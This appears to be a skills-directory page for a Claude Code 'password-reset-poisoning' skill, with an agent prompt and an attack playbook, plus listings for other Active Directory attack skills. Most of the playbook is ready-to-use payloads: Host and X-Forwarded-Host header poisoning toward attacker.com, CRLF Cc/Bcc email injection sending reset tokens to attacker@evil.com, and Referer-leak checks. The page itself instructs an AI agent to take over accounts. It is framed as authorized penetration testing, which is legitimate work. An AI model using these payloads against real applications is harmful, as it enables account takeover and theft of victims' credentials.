acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit password reset vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill password-reset-poisoning --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/password-reset-poisoningContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit password reset vulnerabilities during authorized penetration testing.
name: password-reset-poisoning description: > Exploit password reset vulnerabilities during authorized penetration testing. keywords: - password reset poisoning - password reset bypass - forgot password bypass - reset token theft - host header poisoning - password reset token - account recovery bypass - reset link manipulation - password reset email injection - token prediction - reset token leakage tools: - burpsuite - curl - ffuf opsec: low
You are helping a penetration tester exploit password reset vulnerabilities. The target application has a password reset flow (forgot password → email → reset link) that may be vulnerable to token theft, host header manipulation, email injection, or weak token generation. The goal is to intercept or predict reset tokens to achieve account takeover. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`/account/recovery`)
tokens)
Map the password reset flow.
1. Request a password reset for your test account 2. Intercept the request in Burp 3. Receive the reset email — analyze the link structure 4. Note the token format, length, and character set
https://target.com/reset?token=abc123def456 https://target.com/reset/abc123def456 https://target.com/reset?token=abc123&email=user@target.com
Key questions:
The most common password reset vulnerability — the application uses the Host header to generate the reset link URL.
# Replace Host header with attacker domain POST /reset-password HTTP/1.1 Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@target.com
If the victim receives: `https://attacker.com/reset?token=TOKEN` — the attacker captures the token when the victim clicks the link.
# Keep original Host, add X-Forwarded-Host POST /reset-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@target.com
Test each of these — different frameworks honor different headers:
X-Forwarded-Host: attacker.com X-Original-Host: attacker.com X-Forwarded-Server: attacker.com X-Host: attacker.com X-HTTP-Host-Override: attacker.com Forwarded: host=attacker.com
Host: target.com Host: attacker.com
Some load balancers pass the first, some the last. The application may use a different one than the proxy validated.
Host: target.com:@attacker.com Host: target.com#@attacker.com Host: attacker.com/target.com
POST https://target.com/reset-password HTTP/1.1 Host: attacker.com
When the request line contains an absolute URL, some servers use the Host header for link generation instead of the URL.
If the reset page loads external resources, the token leaks in the Referer header.
1. Request a password reset for your test account 2. Click the reset link (don't complete the reset) 3. On the reset page, click any external link or load an external resource 4. Check if the Referer header sent to the external site contains the token
# Check what external resources the reset page loads curl -s "https://target.com/reset?token=TEST" | \ grep -oP 'src="https?://[^"]*"' | grep -v "target.com"
If the reset page loads resources from a domain you control (CDN, analytics, social widget), the token arrives in your server logs via the Referer header.
If not, chain with an open redirect or XSS on the reset page to force navigation to your server.
Manipulate the email parameter to receive the reset token at an attacker-controlled address.
# Two email parameters — some backends send to both email=victim@target.com&email=attacker@evil.com
# Inject Cc/Bcc headers via CRLF email=victim@target.com%0a%0dcc:attacker@evil.com email=victim@target.com%0a%0dbcc:attacker@evil.com email=victim@target.com%0d%0acc:attacker@evil.com
# Various separators that may be parsed as multiple addresses email=victim@target.com,attacker@evil
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…